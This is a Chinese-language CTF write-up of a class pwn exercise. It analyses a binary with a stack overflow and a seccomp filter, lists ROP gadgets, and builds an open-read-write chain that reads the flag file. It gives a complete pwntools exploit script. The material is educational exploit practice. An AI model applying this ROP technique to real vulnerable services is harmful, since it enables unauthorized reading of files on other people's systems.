题目链接: https://tangzichengcc.github.io/2023/03/17/pwn入门-22-ucas课堂练习rop之orw/rop
课上的一个小练习,理论上应该不难的..但是卡了很久…因为基础不牢+菜
反汇编代码查看 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; v3 = -1 ; install_seccomp(argc, argv, envp); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); puts ("Welcome to the Santa's gift!" ); puts ("your choice:" ); __isoc99_scanf("%d" , &v3); if ( v3 == 4919 ) { vuln(); } else { if ( v3 != 9011 ) _exit(1 ); some_gifts(); } _exit(0 ); } ssize_t vuln () { char buf[256 ]; return read(0 , buf, 0x150 uLL); } ssize_t some_gifts () { char s[16 ]; int fd; fd = sys_open("./gifts.txt" , 0LL ); memset (s, 0 , 0x1000 uLL); if ( read(fd, s, 0x1000 uLL) < 0 ) { puts ("read error" ); _exit(1 ); } return write(1 , s, 0x1000 uLL); }
检查安全措施 install_seccomp、
看到这个函数就知道有seccomp保护措施,限制了一些系统调用的使用,于是使用工具进行检查,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 root@VM-24 -10 -ubuntu:/tmp# seccomp-tools dump ./rop line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number 0003 : 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000 ) goto 0014 0004 : 0x15 0x08 0x00 0x00000002 if (A == open) goto 0013 0005 : 0x15 0x07 0x00 0x00000101 if (A == openat) goto 0013 0006 : 0x15 0x06 0x00 0x000001b5 if (A == 0x1b5 ) goto 0013 0007 : 0x15 0x05 0x00 0x00000000 if (A == read) goto 0013 0008 : 0x15 0x04 0x00 0x00000001 if (A == write) goto 0013 0009 : 0x15 0x03 0x00 0x00000003 if (A == close) goto 0013 0010 : 0x15 0x02 0x00 0x0000003c if (A == exit ) goto 0013 0011 : 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0013 0012 : 0x06 0x00 0x00 0x00050005 return ERRNO(5 ) 0013 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014 : 0x06 0x00 0x00 0x00000000 return KILL
能够看到只允许用open read write这几个,一般来说pwn题是要拿到权限的,但是根本目的是拿到flag,所以即便拿不到shell,也可以利用这几个函数调用来读取和打印flag
解题步骤 寻找gadget 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 root@VM-24 -10 -ubuntu:/tmp# ROPgadget --binary rop --only 'pop|ret' Gadgets information ============================================================ 0x00000000004014fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004014fe : pop r13 ; pop r14 ; pop r15 ; ret0x0000000000401500 : pop r14 ; pop r15 ; ret0x0000000000401502 : pop r15 ; ret0x00000000004014fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004014ff : pop rbp ; pop r14 ; pop r15 ; ret0x000000000040121d : pop rbp ; ret0x0000000000401503 : pop rdi ; ret0x0000000000401501 : pop rsi ; pop r15 ; ret0x00000000004014fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040101a : ret0x0000000000401297 : ret 0x2be Unique gadgets found: 12
根据调用约定,rdi rsi rdx是函数的前三个参数,但是没有找到pop rdx的gadget. ret2csu方法里是可以间接修改rdx的,不过事实上,这道题不需要管第三个参数,具体原因还未知.
布局函数 这里有一个很重要的问题,就是二进制文件中不存在flag这四个字符,因为后面读取flag,需要用到这个字符串,所以需要先获取这四个字符. 获取之后利用传统的orw来进行打开,读取和写出flag.
open(’文件名‘,0,0)
read(文件描述符,‘文件名’,读取大小) read比较特殊, 第一个文件描述符 0标准输入(从用户输入获取值) 1 标准输出,2标准错误 345..就是文件描述符了,当第一个参数是0的时候,第二个参数就不是文件名了,而是要写入的内存地址
write(1,‘文件名’,写大小)
所以分了四个步骤,如下
read(0,写入的内存地址,0x30)
open(‘flag’,0,0)
read(3,‘flag’,0x30) 从打开的文件中读取
write(1,‘flag’,0x30) 标准输出
编写payload 256溢出+8字节rbp,然后就是返回地址了,构造rop链,下面四行分别对应着上面的四步
poprsi的话,没有单独的 ,只有 0x0000000000401501 : pop rsi ; pop r15 ; ret, 所以在它后面再加一个垃圾数据.上面说过,没有pop rdx,所以我们只需要控制前两个参数即可
1 2 3 4 payload = "a" *264 + p64(poprdi) + p64("0" ) + p64(poprsi)+ p64(bssaddr) +p64(0 )+ p64(readaddr) payload += p64(poprdi) + p64(bssaddr) + p64(poprsi) + p64(0 )+p64(0 )+p64(openaddr) payload += p64(poprdi) + p64(3 ) + p64(poprsi) + p64(bssaddr) +p64(0 )+ p64(readaddr) payload += p64(poprdi) + p64(1 ) + p64(poprsi) + p64(bssaddr) +p64(0 ) +p64(writeaddr)
但是这里还有问题,就是payload的长度太长,溢出只有0x150 - 256 - 8 =72字节,是不够用的,所以这里需要再进行调整,有两个办法,一个是可以多次溢出,四步可以分四步来进行,每完成一步,再跳回到vul函数开头,重新溢出执行下一步,第二个办法是进行栈迁移,把栈移到更大的空间去
1 2 3 4 payload = b"a" *264 + p64(poprdi) + p64(0 ) + p64(poprsi)+ p64(bssaddr) +p64(0 )+ p64(readaddr)+p64(vuladdr) payload1 = b"a" *264 +p64(poprdi) + p64(bssaddr) + p64(poprsi) + p64(0 )+p64(0 )+p64(openaddr)+p64(vuladdr) payload2 = b"a" *264 +p64(poprdi) + p64(3 ) + p64(poprsi) + p64(bssaddr) +p64(0 )+ p64(readaddr)+p64(vuladdr) payload3 = b"a" *264 +p64(poprdi) + p64(1 ) + p64(poprsi) + p64(bssaddr) +p64(0 ) +p64(writeaddr)+p64(vuladdr)
分四次发送即可,每次在最后跳回vul函数开头
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *import timesh = remote("xxx" ,xxx) context.log_level= "debug" poprdi = 0x0000000000401503 poprsi = 0x0000000000401501 popr13 = 0x00000000004014fe scanfaddr = 0x0000000000401451 bssaddr = 0x0000404100 + 0x100 readaddr = 0x000000401100 openaddr = 0x00000004012C9 writeaddr = 0x000000004010E0 start = 0x000401432 vuladdr = 0x0000000401384 payload = b"a" *264 + p64(poprdi) + p64(0 ) + p64(poprsi)+ p64(bssaddr) +p64(0 )+ p64(readaddr)+p64(vuladdr) payload1 = b"a" *264 +p64(poprdi) + p64(bssaddr) + p64(poprsi) + p64(0 )+p64(0 )+p64(openaddr)+p64(vuladdr) payload2 = b"a" *264 +p64(poprdi) + p64(3 ) + p64(poprsi) + p64(bssaddr) +p64(0 )+ p64(readaddr)+p64(vuladdr) payload3 = b"a" *264 +p64(poprdi) + p64(1 ) + p64(poprsi) + p64(bssaddr) +p64(0 ) +p64(writeaddr)+p64(vuladdr) sh.sendlineafter("choice:" ,str (4919 )) sh.sendline(payload) sh.send("flag" ) sh.sendline(payload1) sh.sendline(payload2) sh.sendline(payload3) sh.recv(1024 ) sh.interactive()
细节注意 open write read函数选择 一开始选的是 .text:0000000000401313 E8 B1 FF FF FF call sys_open ,这肯定是不对的,因为这里的话,控制流到了这里,执行完call没有ret会继续往下执行,就乱套了,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 .text:000000000040130C lea rdi, aGiftsTxt ; "./gifts.txt" .text:0000000000401313 call sys_open .text:0000000000401318 mov [rbp+fd], eax .text:000000000040131B lea rax, [rbp+s] .text:0000000000401322 mov edx, 1000h ; n .text:0000000000401327 mov esi, 0 ; c .text:000000000040132C mov rdi, rax ; s .text:000000000040132F call _memset .text:0000000000401334 lea rcx, [rbp+s] .text:000000000040133B mov eax, [rbp+fd] .text:000000000040133E mov edx, 1000h ; nbytes .text:0000000000401343 mov rsi, rcx ; buf .text:0000000000401346 mov edi, eax ; fd .text:0000000000401348 call _read .text:000000000040134D test rax, rax .text:0000000000401350 jns short loc_401368 .text:0000000000401352 lea rdi, aReadError ; "read error" .text:0000000000401359 call _puts .text:000000000040135E mov edi, 1 ; status .text:0000000000401363 call __exit
应该调用plt这个,这个调用完之后会ret返回
1 2 3 4 5 .plt.sec:0000000000401100 _read proc near ; CODE XREF: some_gifts+59↓p .plt.sec:0000000000401100 ; vuln+23↓p .plt.sec:0000000000401100 endbr64 .plt.sec:0000000000401104 bnd jmp cs:off_404038 .plt.sec:0000000000401104 _read endp
send、sendline sh.send(“flag”) # 不能用sendline 会有\n 第一次read读取flag文件名的时候,不能用sendline,否则会有个回车,就不是正确的文件名了